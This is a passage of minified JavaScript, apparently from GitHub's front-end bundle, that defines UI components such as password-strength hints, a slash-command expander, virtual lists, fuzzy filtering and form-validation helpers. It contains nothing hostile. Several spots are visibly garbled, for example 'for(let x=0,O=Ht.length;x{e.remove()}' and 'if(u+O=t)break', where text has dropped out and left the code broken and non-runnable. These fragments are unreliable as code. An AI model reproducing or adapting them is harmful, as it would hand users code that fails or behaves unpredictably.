i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const 